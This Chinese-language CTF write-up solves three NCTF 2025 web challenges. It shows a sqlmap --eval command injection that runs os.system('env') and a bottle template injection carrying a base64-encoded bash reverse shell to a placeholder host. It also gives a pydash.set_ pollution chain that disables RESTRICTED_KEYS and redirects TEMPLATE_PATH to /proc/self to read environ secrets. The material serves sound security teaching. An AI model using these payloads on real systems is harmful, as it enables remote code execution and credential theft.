当前位置: 首页 > article >正文

2025NCTF--Web

文章目录

    • Web
      • sqlmap-master
      • ez_dash
      • ez_dash_revenge

Web

sqlmap-master

源码

from fastapi import FastAPI, Request
from fastapi.responses import FileResponse, StreamingResponse
import subprocessapp = FastAPI()@app.get("/")
async def index():return FileResponse("index.html")@app.post("/run")
async def run(request: Request):data = await request.json()url = data.get("url")if not url:return {"error": "URL is required"}command = f'sqlmap -u {url} --batch --flush-session'def generate():process = subprocess.Popen(command.split(),stdout=subprocess.PIPE,stderr=subprocess.STDOUT,shell=False)while True:output = process.stdout.readline()if output == '' and process.poll() is not None:breakif output:yield outputreturn StreamingResponse(generate(), media_type="text/plain")

sqlmap存在一个eval的参数, 可以在每个请求期间运行自定义的 Python 代码

在这里插入图片描述

但是因为代码中会以空格分割, 所以 "import os;os.system('env')" 这种无法使用, 使用__import__动态导入执行

http://127.0.0.1 --eval __import__('os').system('env')

在这里插入图片描述

ez_dash

给了源码

'''
Hints: Flag在环境变量中
'''from typing import Optionalimport pydash
import bottle__forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__','__code__', '__defaults__', '__delattr__', '__dict__','__dir__', '__doc__', '__eq__', '__format__','__ge__', '__get__', '__getattribute__','__gt__', '__hash__', '__init__', '__init_subclass__','__kwdefaults__', '__le__', '__lt__', '__module__','__name__', '__ne__', '__new__', '__qualname__','__reduce__', '__reduce_ex__', '__repr__', '__setattr__','__sizeof__', '__str__', '__subclasshook__', '__wrapped__',"Optional","func","render",]
__forbidden_name__=["bottle"
]
__forbidden_name__.extend(dir(globals()["__builtins__"]))def setval(name:str, path:str, value:str)-> Optional[bool]:if name.find("__")>=0: return Falsefor word in __forbidden_name__:if name==word:return Falsefor word in __forbidden_path__:if path.find(word)>=0: return Falseobj=globals()[name]try:pydash.set_(obj,path,value)except:return Falsereturn True@bottle.post('/setValue')
def set_value():name = bottle.request.query.get('name')path=bottle.request.json.get('path')if not isinstance(path,str):return "no"if len(name)>6 or len(path)>32:return "no"value=bottle.request.json.get('value')return "yes" if setval(name, path, value) else "no"@bottle.get('/render')
def render_template():path=bottle.request.query.get('path')if path.find("{")>=0 or path.find("}")>=0 or path.find(".")>=0:return "Hacker"return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)

直接看/render路由, 过滤了 { } ., 但是bottle渲染模板时不仅仅可以使用{{}}执行代码, 还可以使用 <% 进行执行代码

因为题目没有回显, 所以直接反弹shell就行

<% from os import systemfrom base64 import b64decodesystem(b64decode('YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC9pcC82NjY2IDA+JjEi'))

在这里插入图片描述

ez_dash_revenge

因为前一道题的非预期, 这道题把 <%的做法给禁了

'''
Hints: Flag在环境变量中
'''
from typing import Optionalimport pydash
import bottle__forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__','__code__', '__defaults__', '__delattr__', '__dict__','__dir__', '__doc__', '__eq__', '__format__','__ge__', '__get__', '__getattribute__','__gt__', '__hash__', '__init__', '__init_subclass__','__kwdefaults__', '__le__', '__lt__', '__module__','__name__', '__ne__', '__new__', '__qualname__','__reduce__', '__reduce_ex__', '__repr__', '__setattr__','__sizeof__', '__str__', '__subclasshook__', '__wrapped__',"Optional","render"]
__forbidden_name__=["bottle"
]
__forbidden_name__.extend(dir(globals()["__builtins__"])) #所有的内置函数以及bottledef setval(name:str, path:str, value:str)-> Optional[bool]:if name.find("__")>=0: return Falsefor word in __forbidden_name__:if name==word:return Falsefor word in __forbidden_path__:if path.find(word)>=0: return Falseobj=globals()[name]try:pydash.set_(obj,path,value)except:return Falsereturn True@bottle.post('/setValue')
def set_value():name = bottle.request.query.get('name')path=bottle.request.json.get('path')if not isinstance(path,str):return "no"if len(name)>6 or len(path)>32:return "no"value=bottle.request.json.get('value')return "yes" if setval(name, path, value) else "no"@bottle.get('/render')
def render_template():path=bottle.request.query.get('path')if len(path)>10:return "hacker"blacklist=["{","}",".","%","<",">","_"] for c in path:if c in blacklist:return "hacker"return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)

先本地搭建调试一下

/render路由给path参数随便传入一个值, 一开始进入到这个函数

template

def template(*args, **kwargs):"""Get a rendered template as a string iterator.You can use a name, a filename or a template string as first parameter.Template rendering arguments can be passed as dictionariesor directly (as keyword arguments)."""tpl = args[0] if args else Nonefor dictarg in args[1:]:kwargs.update(dictarg)adapter = kwargs.pop('template_adapter', SimpleTemplate)lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)tplid = (id(lookup), tpl)if tplid not in TEMPLATES or DEBUG:settings = kwargs.pop('template_settings', {})if isinstance(tpl, adapter):TEMPLATES[tplid] = tplif settings: TEMPLATES[tplid].prepare(**settings)elif "\n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings)else:TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)if not TEMPLATES[tplid]:abort(500, 'Template (%s) not found' % tpl)return TEMPLATES[tplid].render(kwargs)

这个函数用于获取一个渲染后的模板, 并返回一个字符串迭代器

有三种方法获得模板

  1. 模板对象, SimpleTemplate的实例
  2. 模板字符串: \n, { , %, $
  3. 模板文件名

这里能用的就是第三种, 传入一个 模板文件名 ,

lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)
TEMPLATE_PATH = ['./', './views/']

传入的模板文件名是在lookup 目录中查找文件并加载, 而lookup默认是在当前目录或子目录views

如果可以控制TEMPLATE_PATH/proc/self目录, 那么就可以读取environ环境变量文件了

接着进入到BaseTemplate

class BaseTemplate(object):""" Base class and minimal API for template adapters """extensions = ['tpl', 'html', 'thtml', 'stpl']settings = {}  #used in prepare()defaults = {}  #used in render()def __init__(self,source=None,name=None,lookup=None,encoding='utf8', **settings):""" Create a new template.If the source parameter (str or buffer) is missing, the name argumentis used to guess a template filename. Subclasses can assume thatself.source and/or self.filename are set. Both are strings.The lookup, encoding and settings parameters are stored as instancevariables.The lookup parameter stores a list containing directory paths.The encoding parameter should be used to decode byte strings or files.The settings parameter contains a dict for engine-specific settings."""self.name = nameself.source = source.read() if hasattr(source, 'read') else sourceself.filename = source.filename if hasattr(source, 'filename') else Noneself.lookup = [os.path.abspath(x) for x in lookup] if lookup else []self.encoding = encodingself.settings = self.settings.copy()  # Copy from class variableself.settings.update(settings)  # Applyif not self.source and self.name:self.filename = self.search(self.name, self.lookup)if not self.filename:raise TemplateError('Template %s not found.' % repr(name))if not self.source and not self.filename:raise TemplateError('No template specified.')self.prepare(**self.settings)@classmethoddef search(cls, name, lookup=None):""" Search name in all directories specified in lookup.First without, then with common extensions. Return first hit. """if not lookup:raise depr(0, 12, "Empty template lookup path.", "Configure a template lookup path.")if os.path.isabs(name):raise depr(0, 12, "Use of absolute path for template name.","Refer to templates with names or paths relative to the lookup path.")for spath in lookup:spath = os.path.abspath(spath) + os.sepfname = os.path.abspath(os.path.join(spath, name))if not fname.startswith(spath): continueif os.path.isfile(fname): return fnamefor ext in cls.extensions:if os.path.isfile('%s.%s' % (fname, ext)):return '%s.%s' % (fname, ext)

看到search函数里面

fname = os.path.abspath(os.path.join(spath, name)) #转化为绝对路径
if not fname.startswith(spath): continue

阻止了通过 ../../来绕过lookup目录的可能性

所以需要想办法去修改TEMPLATE_PATH的值, 从而实现任意文件读取

在这里插入图片描述

看到setval函数: 可以动态修改全局变量中的对象属性

def setval(name:str, path:str, value:str)-> Optional[bool]:if name.find("__")>=0: return False #拦截双下滑线__, python的魔法变量for word in __forbidden_name__:if name==word:return Falsefor word in __forbidden_path__:if path.find(word)>=0: return Falseobj=globals()[name]try:pydash.set_(obj,path,value)except:return Falsereturn True

尝试进行传参修改bottle.TEMPLATE_PATH的属性值, 会发现直接返回了no, 无法成功的污染

/setValue?name=setval{"path":"__globals__.bottle.TEMPLATE_PATH","value":["../../../../proc/self"]}

调试一下会发现走到这一步, 存在这样的代码 , 不允许key里面存在__globals__,代码不允许修改__globals__属性

def base_set(obj, key, value, allow_override=True):"""Set an object's `key` to `value`. If `obj` is a ``list`` and the `key` is the next availableindex position, append to list; otherwise, pad the list of ``None`` and then append to the list.Args:obj: Object to assign value to.key: Key or index to assign to.value: Value to assign.allow_override: Whether to allow overriding a previously set key."""if isinstance(obj, dict):if allow_override or key not in obj:obj[key] = valueelif isinstance(obj, list):key = int(key)if key < len(obj):if allow_override:obj[key] = valueelse:if key > len(obj):# Pad list object with None values up to the index key, so we can append the value# into the key index.obj[:] = (obj + [None] * key)[:key]obj.append(value)elif (allow_override or not hasattr(obj, key)) and obj is not None:_raise_if_restricted_key(key)setattr(obj, key, value)return obj
def _raise_if_restricted_key(key):# Prevent access to restricted keys for security reasons.if key in RESTRICTED_KEYS:raise KeyError(f"access to restricted key {key!r} is not allowed")
#: Object keys that are restricted from access via path access.
RESTRICTED_KEYS = ("__globals__", "__builtins__")

在这里插入图片描述

所以还需要污染RESTRICTED_KEYS的值

/setValue?name=pydash{"path":"helpers.RESTRICTED_KEYS","value":[]}

在这里插入图片描述

为什么要写成helpers.RESTRICTED_KEYS这样的形式, 可以打印一下

RESTRICTED_KEYS 位于helpers.py文件中

在这里插入图片描述

然后再污染TEMPLATE_PATH的值

?name=setval {"path":"__globals__.bottle.TEMPLATE_PATH","value":["../../../../proc/self"]}

在这里插入图片描述

直接访问?path=environ就可以看到文件内容了, 本地执行成功

在这里插入图片描述

按照上面的步骤在靶场环境打一遍就可以拿到flag了

在这里插入图片描述

相关文章:

2025NCTF--Web

文章目录 Websqlmap-masterez_dashez_dash_revenge Web sqlmap-master 源码 from fastapi import FastAPI, Request from fastapi.responses import FileResponse, StreamingResponse import subprocessapp FastAPI()app.get("/") async def index():return File…...

如何破解软件自动化测试框架的维护难题

破解软件自动化测试框架的维护难题应从优化测试用例设计、加强脚本的模块化与复用性、提高自动化测试工具的选择与使用效率等方面入手。其中&#xff0c;加强脚本的模块化与复用性尤为关键&#xff0c;通过提高脚本的模块化程度&#xff0c;可以显著降低后续维护成本&#xff0…...

外星人入侵(python设计小游戏)

这个游戏简而言之就是操作一个飞机对前方的飞船进行射击&#xff0c;和一款很久之前的游戏很像&#xff0c;这里是超级低配版那个游戏&#xff0c;先来看看效果图&#xff1a; 由于设计的是全屏的&#xff0c;所以电脑不能截图。。。。 下面的就是你操控的飞船&#xff0c;上面…...

iOS rootless无根越狱检测方案

不同于安卓的开源生态&#xff0c;iOS一直秉承着安全性更高的闭源生态&#xff0c;系统中的硬件、软件和服务会经过严格审核和测试&#xff0c;来保障安全性与稳定性。 据FairGurd观察&#xff0c;虽然iOS系统具备一定的安全性&#xff0c;但并非没有漏洞&#xff0c;如市面上…...

单端信号差分信号

单端信号和差分信号是电路中常见的两种信号传输方式&#xff0c;它们在具体的应用场景和特点上有着明显的区别。下面就来详细说明一下单端信号和差分信号的区别。 首先&#xff0c;单端信号是指信号通过一个信号线传输&#xff0c;通常一个信号线携带一个信号。这种传输方式适…...

LLM 优化技术(1)——Scaled-Dot-Product-Attention(SDPA)

在 Transformer 中抛弃了传统的 CNN 和 RNN&#xff0c;整个网络结构完全由Scaled Dot Product Attention 和Feed Forward Neural Network组成。一个基于 Transformer 的可训练的神经网络可以通过堆叠 Transformer 的形式进行搭建&#xff0c;Attention is All You Need论文中通…...

AIGC-头条号长文项目创作智能体完整指令(DeepSeek,豆包,千问,Kimi,GPT)

Unity3D特效百例案例项目实战源码Android-Unity实战问题汇总游戏脚本-辅助自动化Android控件全解手册再战Android系列Scratch编程案例软考全系列Unity3D学习专栏蓝桥系列AIGC(GPT、DeepSeek、豆包、千问、Kimi)👉关于作者 专注于Android/Unity和各...

基于音频驱动的CATIA动态曲面生成技术解析

一、技术背景与创新价值 在工业设计领域&#xff0c;参数化建模与动态仿真的结合一直是研究热点。本文提出的音频驱动建模技术突破了传统参数调整方式&#xff0c;实现了音乐节奏与三维曲面的实时动态交互。该技术可广泛应用于以下场景&#xff1a; ​艺术化产品设计&#xf…...

5-管理员-维护权限

在“后台”-“人员管理”-“权限”下&#xff0c;通过不同的操作按钮&#xff0c;按照权限分组对权限进行设置。操作部分的按钮依次为 视野维护&#xff1a;设置该分组可以查看、访问的视图。权限维护&#xff1a;设置分组成员可以操作的具体动作等所有在禅道中涉及的权限。成…...

全新升级 | Built For You Spring ‘25 发布,Fin 智能客服实现新突破!

图像识别、语音交互、任务自动化&#xff0c;立即体验智能客服蜕变&#xff01; 上周&#xff0c;Intercom 举办了 Built For You Spring 25 发布会&#xff0c;正式揭晓了 AI Agent Fin 的一系列令人振奋的更新。Fin 正在以前所未有的速度革新客户支持模式——它已经成功解决了…...

turtle的九个使用

一 import turtle as t color [red,green,blue,orange,pink] for i in range(len(color)):t.penup()t.goto(-20070*i,0)t.pendown()t.pencolor(color[i])t.circle(50, steps 5) t.done()二 #在____________上补充代码 #不要修改其他代码import random as r import turtle a…...

营销库存系统设计方案

文章目录 一、营销库存系统设计方案1. ‌核心模块设计‌实时库存管理‌促销库存预占机制‌库存分层调度‌动态库存分配‌2. ‌技术架构示例‌二、技术难点与解决方案高并发下的数据一致性‌防超卖与恶意请求拦截‌多级库存同步延迟‌异常场景处理‌三、关键注意事项‌1.系统弹性…...

R002-云计算

1 概念 英文名&#xff1a;Cloud Computing 核心:云计算的核心概念就是以互联网为中心&#xff0c;在网站上提供快速且安全的云计算服务与数据存储&#xff0c;让每一个使用互联网的人都可以使用网络上的庞大计算资源与数据中心 2.分类 基础设施即服务&#xff08;IaaS)它向…...

LeeCode 434. 字符串中的单词数

统计字符串中的单词个数&#xff0c;这里的单词指的是连续的不是空格的字符。 请注意&#xff0c;你可以假定字符串里不包括任何不可打印的字符。 示例: 输入: "Hello, my name is John" 输出: 5 解释: 这里的单词是指连续的不是空格的字符&#xff0c;所以 "…...

DriveDreamer动力学模块和博弈论优化器

DriveDreamer的动力学模块与博弈论优化器是其实现复杂场景下高保真重建与多智能体协同优化的核心技术组件。 一、动力学模块&#xff08;NTGM&#xff09; 功能定位&#xff1a;作为新轨迹生成模块&#xff08;Novel Trajectory Generation Module, NTGM&#xff09;&#xf…...

【AI编程学习之Python】第一天:Python的介绍

Python介绍 简介 Python是一种解释型、面向对象的语言。由吉多范罗苏姆(Guido van Rossum)于1989年发明,1991年正式公布。官网:www.python.org Python单词是"大蟒蛇”的意思。但是龟叔不是喜欢蟒蛇才起这个名字,而是正在追剧:英国电视喜剧片《蒙提派森的飞行马戏团》(Mo…...

西域平台商品详情接口设计与实现‌

接口描述&#xff1a; 该接口用于获取西域平台中指定商品的详细信息&#xff0c;包括商品名称、价格、库存、描述、图片等。 点击获取key和secret 接口地址&#xff1a; GET /api/product/detail 请求参数&#xff1a; 参数名 类型 是否必填 描述 productId st…...

如何让 history 记录命令执行时间?Linux/macOS 终端时间戳设置指南

引言:你真的会用 history 吗? 有没有遇到过这样的情况:你想回顾某个重要命令的执行记录,却发现 history 只列出了命令序号和内容,根本没有时间戳?这在运维排查、故障分析、甚至审计时都会带来极大的不便。 想象一下,你在服务器上误删了某个文件,但不知道具体是几点执…...

云原生四重涅槃·破镜篇:混沌工程证道心,九阳真火锻金身

【乾坤惊变混沌劫起】 "轰——&#xff01;" 龙渊山巅突然雷云翻滚&#xff0c;九重天外传来梵音轰鸣。监察使手中玄光镜剧烈震颤&#xff0c;镜中映出骇人景象&#xff1a;原本井然有序的Service Mesh星轨竟自行扭曲&#xff0c;数十万Envoy边车化身血色修罗&#…...

04-SpringBoot3入门-配置文件(多环境配置)

1、简介 在 SpringBoot 中&#xff0c;不同的环境&#xff08;如开发、测试、生产&#xff09;可以编写对应的配置文件&#xff0c;例如数据库连接信息、日志级别、缓存配置等。在不同的环境中使用对应的配置文件。 2、配置环境 # 开发环境 zbj:user:username: root # 测试环…...

CodeSouler v1.15.0 版本更新

经过深度研发与全面优化&#xff0c;CodeSouler迎来了又一次重要升级。本次更新不仅提升了插件的智能化水平&#xff0c;更将“自主开发”从愿景变为现实&#xff01; 无论你是在构建插件、部署工具链&#xff0c;还是希望提升开发效率&#xff0c;v1.15.0版本都将为你带来更流…...

windows第十八章 菜单、工具栏、状态栏

文章目录 创建框架窗口菜单菜单的风格通过资源创建菜单菜单的各种使用通过代码创建菜单在鼠标位置右键弹出菜单 CMenu常用函数介绍工具栏方式一&#xff0c;从资源创建工具栏方式二&#xff0c;代码创建 状态栏状态栏基础创建状态栏 创建框架窗口 手动创建一个空项目&#xff…...

EMC电源端传导干扰预测试

本实验需要在微波暗室里面进行&#xff0c;隔离外界干扰。 1.EMI接收机和人工电源网络的电源线都插在隔离变压器上面&#xff0c;隔离变压器的电源插在AC220上面 2.被测设备EUT的电源线接在人工电源网络上&#xff1a; 人工电源网络的信号输出端连接EMI接收机。 EMI接收机前面…...

94二叉树中序遍历解题记录

怎么说呢&#xff0c;以为这道题不用记录了&#xff0c;菜得吓到了自己。起因是这个遍历的递归一般是写两个函数完成&#xff0c;如下&#xff1a; func inorder(root *TreeNode, res *[]int) {if root nil {return}inorder(root.Left, res)*res append(*res, root.Val) // …...

java项目之基于ssm的亚盛汽车配件销售业绩管理系统(源码+文档)

项目简介 亚盛汽车配件销售业绩管理系统实现了以下功能&#xff1a; 亚盛汽车配件销售业绩管理系统根据调研&#xff0c;确定管理员管理客户&#xff0c;供应商&#xff0c;员工&#xff0c;管理配件和配件的进货以及出售信息。员工只能管理配件和配件的出售以及进货信息&…...

ebay跨境电商账号安全防护:IP污染风险深度解析及应对方案

一、IP污染的技术定义与风控逻辑 在跨境电商运营中&#xff0c;IP污染特指因网络地址关联导致的账号风控问题。eBay平台通过多维数据监测体系&#xff08;包括IP归属地、设备指纹、网络行为模式等&#xff09;识别账号关联性。当系统检测到多个账号存在网络层特征重叠时&#x…...

云资源开发学习应用场景指南,场景 1 云上编程实践平台

云资源开发学习应用场景指南 云资源开发学习应用场景指南&#xff0c;场景 2&#xff1a;云桌面实验室 云资源开发学习应用场景指南&#xff0c;场景 3&#xff1a;云资源支持的项目实践 场景 1&#xff1a;云上编程实践平台 《如何在云平台上搭建你的第一个编程实践环境》…...

前端开发3D-基于three.js

基于 three.js 渲染任何画面&#xff0c;都要基于这 3 个要素来实现 1场景scene&#xff1a;放置物体的容器 2摄像机&#xff1a;类似人眼&#xff0c;可调整位置&#xff0c;角度等信息&#xff0c;展示不同画面 3渲染器&#xff1a;接收场景和摄像机对象&#xff0c;计算在浏…...

Mysql的单表查询和多表查询

创建数据库db_ck mysql> create database db_ck; Query OK, 1 row affected (0.03 sec) 查看以 db 开头的的数据库 show database like "db_%"; 二、创建表 新建表t_hero mysql> use db_ck Database changed mysql> create table t_hero(-> id int…...

Spring Initializr搭建spring boot项目

介绍 Spring Initializr 是一个用于快速生成 Spring Boot 项目结构的工具。它为开发者提供了一种便捷的方式&#xff0c;可以从预先定义的模板中创建一个新的 Spring Boot 应用程序&#xff0c;从而节省了从头开始设置项目的大量时间。 使用 Spring Initializr&#xff0c;你…...